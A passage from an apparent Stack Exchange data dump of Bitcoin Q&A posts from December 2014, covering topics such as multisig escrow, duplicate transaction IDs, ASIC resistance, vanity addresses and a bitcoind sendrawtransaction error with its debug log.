referenced) for core developers commenting on or discussing possible uses for OP_CODESEPARATOR.&lt;/p&gt;&#xA;" OwnerUserId="18713" LastActivityDate="2014-12-25T14:44:17.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34178" PostTypeId="2" ParentId="21382" CreationDate="2014-12-25T18:03:21.847" Score="2" Body="&lt;p&gt;I've made a custom font with Bitcoin, Litecoin, and Dogecoin symbols. There's a download link in .otf format in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=904849.0&quot; rel=&quot;nofollow&quot;&gt;this bitcointalk thread&lt;/a&gt;. (It's labeled &quot;Download.&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this font file doesn't include a cryptocurrency symbol that you need, I'm willing to add it.&lt;/p&gt;&#xA;" OwnerUserId="21623" LastEditorUserId="2306" LastEditDate="2014-12-25T18:43:41.760" LastActivityDate="2014-12-25T18:43:41.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34179" PostTypeId="1" AcceptedAnswerId="34265" CreationDate="2014-12-25T20:50:34.207" Score="5" ViewCount="298" Body="&lt;p&gt;An advertisement for &lt;a href=&quot;https://github.com/FactomProject/FactomDocs&quot; rel=&quot;nofollow&quot;&gt;Factom&lt;/a&gt; says that it improves on &quot;speed, cost, and bloat.&quot; And it apparently provides a decent &quot;proof of existence&quot; for people who want to &quot;copyright&quot; their work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that Factom can and cannot do, especially with reference with the original block chain? Put another way, what are its advantages and disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="15143" LastEditDate="2015-12-09T21:10:15.423" LastActivityDate="2015-12-09T21:10:15.423" Title="How good a &quot;take off&quot; on the block chain is Factom?" Tags="|blockchain|factom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34180" PostTypeId="1" CreationDate="2014-12-25T22:05:00.183" Score="3" ViewCount="279" Body="&lt;p&gt;How many btc have been transferred in orphan blocks, but then never included in any later block? How many btc have been transferred in zero-confirmation transactions that have never been included in the blockchain? How could one find this info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be an upper bound on the amount of fraud done by reversing transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is an upper bound on the amount of fraud against people who wait for 1 confirmation, and the second is an upper bound against people who don't wait for any confirmation.&lt;/p&gt;&#xA;" OwnerUserId="12196" LastActivityDate="2015-02-05T15:28:20.153" Title="How many transaction and btc have been cancelled?" Tags="|blockchain|fraud|revert-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34181" PostTypeId="5" CreationDate="2014-12-26T02:39:07.407" Score="0" Body="&lt;p&gt;Blocktrail is a service that offers a block explorer to allow exploration of the &lt;a href=&quot;/questions/tagged/blockchain&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'blockchain'&quot; rel=&quot;tag&quot;&gt;blockchain&lt;/a&gt;, and an API to allow developers, enterprises and service providers to create tools and apps that leverage Bitcoin data, also used to create payment solutions.&lt;/p&gt;&#xA;" OwnerDisplayName="user21553" LastEditorUserId="2306" LastEditDate="2014-12-26T16:10:20.833" LastActivityDate="2014-12-26T16:10:20.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34182" PostTypeId="4" CreationDate="2014-12-26T02:39:07.407" Score="0" Body="Blocktrail is a service that offers a block explorer to allow exploration of the blockchain, and an API to allow developers, enterprises and service providers to create tools and apps that leverage Bitcoin data, also used to create payments solutions." OwnerDisplayName="user21553" LastEditorUserId="42185" LastEditDate="2020-01-03T03:25:59.657" LastActivityDate="2020-01-03T03:25:59.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34183" PostTypeId="2" ParentId="34054" CreationDate="2014-12-26T10:05:13.343" Score="0" Body="&lt;p&gt;It will take a while to get money to an exchange platform, but once you have an account and a balance there, trading is very quick. A lot of people try to do exactly that: They buy low and sell at a profit, or buy on one exchange and sell on another for a higher price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, trading on exchange platforms happens off the blockchain, i.e. all the &quot;score keeping&quot; is done by a company in their bookkeeping. It would not be as easy to trade bitcoins by actually holding them, then you would be impeded by waiting for confirmations on the transactions which in average take about ten minutes. You could still trade on large swings over a few months that way, but mini-profits would be very hard to time with such delays.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-26T10:05:13.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34184" PostTypeId="2" ParentId="34132" CreationDate="2014-12-26T11:46:42.720" Score="2" Body="&lt;p&gt;When I joined Ethereum in January 2014, one of the things that attracted me to the project was how transparently Vitalik wanted it to be run. Everyone in the team is identified publicly since day one, all the code is opensource wall to wall under MIT license, and how we intend to use the funds is completely transparent. Even our multisig account is public (&lt;a href=&quot;https://blockchain.info/charts/balance?timespan=&amp;amp;daysAverageString=1&amp;amp;scale=0&amp;amp;address=36PrZ1KHYMpqSyAQXSG8VwbUiq2EogxLo2&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/balance?timespan=&amp;amp;daysAverageString=1&amp;amp;scale=0&amp;amp;address=36PrZ1KHYMpqSyAQXSG8VwbUiq2EogxLo2&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally can't imagine doing it any other way. Staying anonymous benefits who exactly? And protects the project creators from what exactly? To say it's to protect oneself from the big bad 'government' sounds far fetched at best, and a terrible excuse to operate with impunity at worst.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'crypto space' is currently very similar to the web circa 1993 (see: Pixelon): a miasma of a very few talented and visionary individuals, mixed with snakes, con-men, and sharks with big smiles preying on the excitement this new technology has engendered. It's very unfortunate, and certainly ironic: it is indeed the promise of the blockchain technology for operations to be executed in a 'trustless' manner, meaning without having to trust a central authority to act honestly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: staying anonymous only benefit the platform creators, so proceed with caution.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2014-12-26T11:46:42.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34186" PostTypeId="1" CreationDate="2014-12-26T18:21:07.763" Score="4" ViewCount="2661" Body="&lt;p&gt;Is there a quick and dirty way to detect all transactions whose &lt;code&gt;tx-id&lt;/code&gt; can be found in more than one transaction since the genesis block? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to see mutated transactions as well although I am not sure if the blockchain keeps a historical track of the mutated transactions.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="2306" LastEditDate="2014-12-26T19:52:01.857" LastActivityDate="2020-04-20T14:05:25.550" Title="Duplicate tx ids" Tags="|transactions|transaction-malleability|transaction-id|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34188" PostTypeId="2" ParentId="34186" CreationDate="2014-12-26T20:14:30.057" Score="5" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Is there a quick and dirty way to detect all transactions whose tx-id can be found in more than one transaction since the genesis block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There are multiple ways to read your question.&lt;/p&gt;&#xA;&lt;h3&gt;Are there cases where the same transaction has been included into the blockchain multiple times?&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yes&lt;/a&gt;. There is one recorded instance of the same coinbase appearing twice. The problem this causes is that only one of these can be redeemed. It also makes it possible to reduce a fully-confirmed transaction to one confirmation, though I don't understand the details. &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP34&lt;/a&gt; fixed this.&lt;/p&gt;&#xA;&lt;h3&gt;Are there cases where the same input hash appears in multiple transactions?&lt;/h3&gt;&#xA;&lt;p&gt;Yes. It happens all the time. For example, transaction &lt;a href=&quot;https://blockchain.info/tx/9fa3d63d7a251da39c3785f7140975c96d5c985889d0867042dddc4be5218cc3&quot; rel=&quot;nofollow noreferrer&quot;&gt;9fa3...&lt;/a&gt; has two outputs. Those two outputs were spent by two different transactions. Each transaction needed to include the same input hash (though the vout field was different.)&lt;/p&gt;&#xA;&lt;h3&gt;Are there are any known collisions in SHA256?&lt;/h3&gt;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I would also like to see mutated transactions as well although I am not sure if the blockchain keeps a historical track of the mutated transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It doesn't.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-12-26T22:31:44.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34189" PostTypeId="2" ParentId="29975" CreationDate="2014-12-26T22:11:52.250" Score="15" Body="&lt;p&gt;An ASIC is another way of running a program or calculation or what have you (in our case mining) using a PCB/Hardware instead of Software running on a general purpose computer.  GPUs are technically ASICs, their application being graphics processing and output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC resistance means your crypto is more fairly distributed because their is no centralization of mining due to ASICs bumping out the GPU miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look into Myriadcoin, Digibyte, Digitalcoin and I believe there are a few others ready to spring up such as Unitus and POND, you will see developers changing out the Single Algorithm Proof of Work model for a Multi Algo PoW model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Myriad has 5 algorithms that split up the mining and reward structure.  20% goes to the BTC asic algorithm SHA-256D, 20% to the litecoin/dogecoin asic algorithm SCRYPT, 20% to SKEIN, 20% to our special optimized GROESTL, and 20% to QUBIT (the last 3 algos being targetted by GPUs, some better on AMD, some better on Nvidia)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Myriadcoin as well as others actually embrace ASIC mining while at the same time not allow it to completely govern the landscape pushing Average Joe Miner out of the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A coin like Unitus (to be launched tomorrow) takes this a step further and has no ASIC'd algorithms as the five algos they chose for their multi algo mining model (not to mention they also have merge mining enabled on all algos, not exactly having anything to do with ASIC centralization, just a more distributed reward scheme for those who choose to participate in it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, ASICs are not a terrible thing (yet they are if the few, elite, have them all) and ASICs are inevitable.  Any computing that can be done with software, can be ASIC'd, it is just a matter of how and how economical is it now (remember, chips are always getting better, more power efficient)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my two cents on ASICs.  I'm out&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2014-12-26T22:11:52.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34190" PostTypeId="1" CreationDate="2014-12-26T22:27:33.623" Score="2" ViewCount="331" Body="&lt;p&gt;Two participants in a transaction, a buyer and a seller, need to interact financially. For security, they themselves keep their private keys and sign transactions on client using JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a 2 in 3 multi-sig address, i.e: &quot;3...&quot;, and have the buyer pay to this address. When a confirmation is received for the acceptance of BTC I will tell the seller to ship product. When it physically arrives to the buyer - he will approve getting the product and sign the multi-sig transaction. In case any dispute site admin will have the third private key to resolve any issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how to implement this on my site. There are many open source JS Bitcoin libraries supporting multi-sig out there. There is copay/bitpay api, bitgo, gem.co, coinb.in outcast3k, bitvault, coin kite. Not much online about how to properly go about doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best implementation I have seen is taking place on &lt;a href=&quot;http://www.coincola.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.coincola.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help clearing the fog here?&lt;/p&gt;&#xA;" OwnerUserId="5753" LastActivityDate="2016-05-21T12:44:43.363" Title="Hybrid Bitcoin web wallet for performing multi-sig transaction on an e-commerce site" Tags="|multi-signature|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34196" PostTypeId="2" ParentId="19308" CreationDate="2014-12-27T20:01:24.177" Score="-1" Body="&lt;p&gt;Throw a batchfile in the directory of your bfgminer with this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start cmd /k bfgminer -S opencl:auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21662" LastEditorUserId="2306" LastEditDate="2014-12-27T21:53:07.573" LastActivityDate="2014-12-27T21:53:07.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34197" PostTypeId="1" CreationDate="2014-12-27T23:04:29.593" Score="0" ViewCount="1414" Body="&lt;p&gt;I obtained a vanity bitcoin address (1MonkeyQWbMzny7BNTA66W9wv6KaCFFAB7) along with its private key. I would like to be able to use this as my main address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites like BlockChain.info allow you to import the bitcoins with a private key, but is there something where I can enter the address and private key and be able to view how many bitcoins I have, and send them from THAT address (not import them to another one, like BlockChain.info does)?&lt;/p&gt;&#xA;" OwnerUserId="21665" LastEditorDisplayName="user11221" LastEditDate="2014-12-27T23:16:42.590" LastActivityDate="2018-04-02T15:15:15.250" Title="How can I use a vanity address as my main address" Tags="|client|blockchain.info|private-key|vanity-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34198" PostTypeId="2" ParentId="34197" CreationDate="2014-12-27T23:26:10.490" Score="2" Body="&lt;p&gt;I'll show you how to do this with the &lt;code&gt;reference client&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to import your newly obtained private key for your vanity address into your wallet. There is a great tutorial on how to achieve this here: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&lt;/a&gt;. Once you do this, &lt;code&gt;bitcoin-core&lt;/code&gt; will keep track of the balance for your newly obtained vanity address, so you don't have to do it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reusing addresses without a good reason behind that is not recommended&lt;/a&gt;. &#xA;If you still insist on doing so, first you will need to get familiar with &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;raw transactions&lt;/a&gt; and then take some time to read the answer to this question: &lt;a href=&quot;https://stackoverflow.com/questions/23324442/is-there-a-way-to-send-funds-from-a-specific-bitcoin-address-in-a-wallet&quot;&gt;https://stackoverflow.com/questions/23324442/is-there-a-way-to-send-funds-from-a-specific-bitcoin-address-in-a-wallet&lt;/a&gt; that explains how you can send funds from a specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, you should be very careful when generating vanity addresses. These links will give you an idea: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=795023.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=795023.0&lt;/a&gt; and &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/21foj9/funds_currently_being_stolen_from_vanity/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/21foj9/funds_currently_being_stolen_from_vanity/&lt;/a&gt;. A reliable way to do this is by an unmodified version of a vanity address generator that would run in an offline computer that will never get online before it is low formatted.  &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-12-27T23:52:21.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34199" PostTypeId="2" ParentId="34190" CreationDate="2014-12-28T01:30:01.313" Score="1" Body="&lt;p&gt;Most of the libraries you mentioned would work for this problem. However, some are built more like libraries to be called from other javascript (eg. BitcoinJS), while others are designed with a full user interface so a semi-technical user can host multisig signing functionality on their browser (eg Copay). Some options you mentioned are also multisig &lt;em&gt;wallet services&lt;/em&gt; which require you have an account with them, and they are taking care of some of  the nitty gritty of multisig (eg. BitGo). Since you are trying to build your own e-commerce site around multisig, where one key is always some key you control, you probably want a library you can call in your code, without a user interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without commenting on the suitability of each and every library option, I will say that BitcoinJS can do what you need here. They provide a set of library functions that can create multisig addresses with any set of public keys and M-of-N requirements as well as signing functionality to sign those with private keys (which your buyer and seller could do on a browser hosted solution you provide or own their own).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See BitcoinJS's example for &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/multisig.js#L8&quot; rel=&quot;nofollow&quot;&gt;creating a 2-of-3 P2SH address&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/basic.js#L36&quot; rel=&quot;nofollow&quot;&gt;creating a transanction&lt;/a&gt; (to fund your multisig address) and &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/multisig.js#L22&quot; rel=&quot;nofollow&quot;&gt;spending from a 2-of-2 multisig address&lt;/a&gt; (you will need to modify to spend from a 2-of-3 address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcore by Bitpay (which Copay is built on) can also create multisig addresses and sign/create transanctions: &lt;a href=&quot;https://github.com/bitpay/bitcore&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore&lt;/a&gt;. You can use it in the browser with bower for easy setup, and their API is very well documented. You can see their example for &lt;a href=&quot;http://bitcore.io/api/#Create_a_Multisig_Address&quot; rel=&quot;nofollow&quot;&gt;generating a multisig address&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all of that said, &lt;strong&gt;be very careful with your implementation&lt;/strong&gt;. This is people's money and you don't want to be introducing vulnerabilities that loses people their money (or yours). If you don't feel comfortable with the security implications of your design decisions, create example demonstration versions and have them well vetted by more experienced people before bringing them into production.&lt;/p&gt;&#xA;" OwnerUserId="18713" LastActivityDate="2014-12-28T01:30:01.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34201" PostTypeId="1" CreationDate="2014-12-28T03:16:15.393" Score="2" ViewCount="770" Body="&lt;p&gt;The article called &lt;a href=&quot;http://www.bitcoinnotbombs.com/bitcoin-vs-the-nsas-quantum-computer/&quot; rel=&quot;nofollow&quot;&gt;&quot;Bitcoin vs. The NSA’s Quantum Computer&quot;&lt;/a&gt; was a great read pertaining to Bitcoin, and computing minimum thermodynamic energy required to brute force attack public key to discover the companion private key, Elliptic Curve Digital Signature Algorithm (ECDSA) vulnerabilities to quantum computing, and how Bitcoin public addresses hide public keys until money is spent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the SHA256 and RIPE160 cryptographic hashing mechanisms are impervious to inversion (due to information collapsing loss - black hole operations) by whatever computing means used to create them, then the Bitcoin Blockchain should be fine a long as quantum computing mining does not gain much more than a 51% computing advantage for populating the Blockchain with Bitcoin's Proof of Work (PoW) mechanism. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will the integrity of an &quot;energy efficient&quot; PoS Ledger fare (during the advent of quantum computing) if it is overly reliant upon traditional digital signature technology for implementing its staking mechanism? &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="5406" LastEditDate="2016-04-02T09:18:06.170" LastActivityDate="2016-04-02T09:18:06.170" Title="How resilient are Proof of Stake (PoS) mechanisms to brute force quantum computing attacks?" Tags="|security|proof-of-stake|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-15T19:30:52.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="34202" PostTypeId="1" CreationDate="2014-12-28T07:17:15.603" Score="0" ViewCount="69" Body="&lt;p&gt;Can bitcoind or other miners be modified to use a fixed payout address?&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2014-12-28T20:01:33.007" Title="Can a bitcoin block reward be paid to a multisig address if the transaction is included in the block?" Tags="|block|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-29T15:17:31.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="34203" PostTypeId="1" CreationDate="2014-12-28T15:05:54.323" Score="3" ViewCount="2431" Body="&lt;p&gt;I am trying to send a bitcoin raw transaction, but always got such an error. what's the possible explaination?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind --testnet sendrawtransaction  &#xA;error: {&quot;code&quot;:-25,&quot;message&quot;:&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The transaction looks like this when decoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;c6a8bb034ca48abe2618b6fb0f9f2c518370ee34bf88a5287be0de40a262e1b2&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;71a063c7b0b6d0bae367043a6ce25205f9d5571f1f97b245515e7b25c7ee9bef&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;3045022100e3c9147c6f801436a1880abd4b2c864fff9b405b3225ee7e274acf036515246a02207d3c816b1938954bb23b8d27a884777f871164f250f85e4fe67b3bc59d4903c101 029e324730c89a254f0d8b2b0d716325d6e7e35a045a30d602d576212453e92090&quot;,&#xA;                &quot;hex&quot; : &quot;483045022100e3c9147c6f801436a1880abd4b2c864fff9b405b3225ee7e274acf036515246a02207d3c816b1938954bb23b8d27a884777f871164f250f85e4fe67b3bc59d4903c10121029e324730c89a254f0d8b2b0d716325d6e7e35a045a30d602d576212453e92090&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;        {&#xA;            &quot;txid&quot; : &quot;4274f297a12c1e58ae7f878224e31b733fd817559cb3bf0f9ddbaf1aa1a15101&quot;,&#xA;            &quot;vout&quot; : 3,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;3044022031dd44df55f376581cc7c51c9dad5784cabf799bc384cc895e48708332e7f15402204f4a23afed393409af596034cc78dc92fe7bc887ced4df70758c99e3def9bdc101 03bfefa3db6c30063e6df10262909e8841e72631e506bc4e674a1d5fd7ad9458b4&quot;,&#xA;                &quot;hex&quot; : &quot;473044022031dd44df55f376581cc7c51c9dad5784cabf799bc384cc895e48708332e7f15402204f4a23afed393409af596034cc78dc92fe7bc887ced4df70758c99e3def9bdc1012103bfefa3db6c30063e6df10262909e8841e72631e506bc4e674a1d5fd7ad9458b4&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00010000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 7d9c76fdb9889d0316ecea5fb6a49efd5bfb91a4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9147d9c76fdb9889d0316ecea5fb6a49efd5bfb91a488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mry8CQ4H8xnYEafH2awKhh6sXogu3DHoL1&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_RETURN 4243500102dbee2551bb9f567934a35dfd12cc8a16cfe25476a366b14b26147bb17eaebe82&quot;,&#xA;                &quot;hex&quot; : &quot;6a254243500102dbee2551bb9f567934a35dfd12cc8a16cfe25476a366b14b26147bb17eaebe82&quot;,&#xA;                &quot;type&quot; : &quot;nulldata&quot;&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00010000,&#xA;            &quot;n&quot; : 2,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 a7373b9c82d4490450ae5fb18ef6e68b5f1ba414 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914a7373b9c82d4490450ae5fb18ef6e68b5f1ba41488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mvm7JjdkMAqYt2b8VrJifnveHo3XWfLRBR&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.27969593,&#xA;            &quot;n&quot; : 3,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 ccc6d502c38ec401a4203d0205adb49ea13e0794 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914ccc6d502c38ec401a4203d0205adb49ea13e079488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;mzBiLHKBSLNfJ1YHemSnBL2hf8MmuuV5Am&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my debug.log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-12-28 15:58:21 UpdateTip: new best=0000000000000000105ce47aa2a182737da73cdc61f180bdbb2c8b7268ed2170  height=336335  log2_work=81.862093  tx=55205709  date=2014-12-28 15:55:21 progress=0.999995&#xA;2014-12-28 15:58:21 ProcessBlock: ACCEPTED&#xA;2014-12-28 15:58:35 connect() to 162.210.198.184:8333 failed after select(): Connection refused (61)&#xA;2014-12-28 15:58:42 ERROR: AcceptToMemoryPool : inputs already spent&#xA;2014-12-28 15:58:48 ERROR: AcceptToMemoryPool : nonstandard transaction: dust&#xA;2014-12-28 15:58:48 ERROR: AcceptToMemoryPool : nonstandard transaction: dust&#xA;2014-12-28 15:58:48 ERROR: AcceptToMemoryPool : nonstandard transaction: dust&#xA;2014-12-28 15:58:48 connect() to 212.197.133.191:8333 failed after select(): Connection refused (61)&#xA;2014-12-28 15:59:25 connect() to 60.240.240.47:8333 failed after select(): Connection refused (61)&#xA;2014-12-28 15:59:35 receive version message: /Satoshi:0.9.3/: version 70002, blocks=216962, us=129.31.191.110:64893, them=82.9.60.209:8333, peer=82.9.60.209:8333&#xA;2014-12-28 15:59:35 Added time data, samples 20, offset -4 (+0 minutes)&#xA;2014-12-28 16:10:17 UpdateTip: new best=000000000000000011d9558507a7782247af10b62ebec6b56f27560b0f4b7a61  height=336336  log2_work=81.862149  tx=55206550  date=2014-12-28 16:10:18 progress=1.000000&#xA;2014-12-28 16:10:17 ProcessBlock: ACCEPTED&#xA;2014-12-28 16:10:28 ResendWalletTransactions()&#xA;2014-12-28 16:10:41 ERROR: AcceptToMemoryPool : inputs already spent&#xA;2014-12-28 16:10:41 ERROR: AcceptToMemoryPool : inputs already spent&#xA;2014-12-28 16:12:43 ERROR: AcceptToMemoryPool : inputs already spent&#xA;2014-12-28 16:13:41 UpdateTip: new best=00000000000000001515448348af74726a44d0ab972ecc543444f506bd48dea0  height=336337  log2_work=81.862205  tx=55206582  date=2014-12-28 16:25:03 progress=1.000018&#xA;2014-12-28 16:13:41 ProcessBlock: ACCEPTED&#xA;2014-12-28 16:14:45 ERROR: AcceptToMemoryPool : inputs already spent&#xA;2014-12-28 16:16:50 Requesting shutdown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using bitcoind on a Mac, working on the testnet, so I am not sure if $HOME/Library/Application\ Support/Bitcoin/debug.log is appropriate to my situation.&lt;/p&gt;&#xA;" OwnerUserId="21183" LastEditorUserId="2306" LastEditDate="2015-01-13T23:56:58.913" LastActivityDate="2015-01-30T17:29:39.560" Title="Error -25 when bitcoind sendrawtransaction" Tags="|bitcoind|raw-transaction|rpc-error-25|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
